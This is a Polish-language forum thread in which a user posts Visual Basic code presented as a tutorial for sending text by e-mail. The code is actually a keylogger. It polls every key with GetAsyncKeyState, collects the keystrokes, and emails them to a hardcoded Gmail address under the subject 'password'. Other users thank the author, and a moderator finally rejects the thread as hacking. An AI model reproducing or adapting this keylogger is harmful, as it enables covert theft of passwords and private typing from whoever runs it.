[Visual Basic] Send To E-Mail Text

[xSaSux]

Send to e-mail text TuT by Me

 

 

 

Wideo Poradnik

 

 

Gotowy Kod

:

 

Imports System.Web

Imports System.IO

Imports System.Net.Mail

Public Class Form1

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Declare Function GetAnyncKeySync Lib "user32" (ByVal vKey As Long) As Integer

 

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255

result = 0

result = GetAsyncKeyState(i)

If result = -32767 Then

TextBox1.Text = TextBox1.Text + Chr(i)

End If

Next i

End Sub

 

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim mail As New MailMessage()

Dim SmtpServer As New SmtpClient

SmtpServer.Credentials = New Net.NetworkCredential("e- mali musi byc na @gmail.com", "haslo")

SmtpServer.Port = 587

SmtpServer.Host = "smtp.gmail.com"

SmtpServer.EnableSsl = True

SmtpServer.EnableSsl = True

mail.To.Add("Adres e-mali na ktory ma byc wyslana wiadomosc")

mail.From = New MailAddress("Adres e-mali na ktory ma byc wyslana wiadomosc")

mail.Subject = "password"

mail.Body = TextBox1.Text

SmtpServer.Send(mail)

End Sub

End Class

 

 

Mam nadzieje że komuś się przyda ; )

[polarny]

Dzieki wielkie, bardzo dobrze zrobiony poradnik(WIELKI +) ^__^

[karol2317]

nom nawet fajny poradnik

[xSaSux]

Dodam jeszcze że pisany text w text boxie wysyłany jest na e-mail który wpiszesz sobie w kodzie : )

[Makin]

Nie popieramy hackerstwa.

 

Kosz.